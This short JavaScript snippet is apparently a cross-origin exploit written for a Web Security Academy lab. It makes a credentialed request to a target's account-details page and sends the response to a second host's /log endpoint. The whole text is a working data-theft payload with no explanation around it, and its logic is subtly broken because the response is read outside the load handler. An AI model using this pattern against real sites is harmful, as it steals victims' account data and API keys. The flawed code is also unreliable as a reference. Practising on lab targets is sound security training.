var req = new XMLHttpRequest();
var data = this.responseText;
req.onload = reqListener;
req.open('get','https://ac101ff61eca340c80e4555000150068.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
var req = new XMLHttpRequest();
req.open('get','https://acbf1f111e95343e800c55f8016600cd.web-security-academy.net/log?key='+data,true);
req.withCredentials = true;
req.send();
};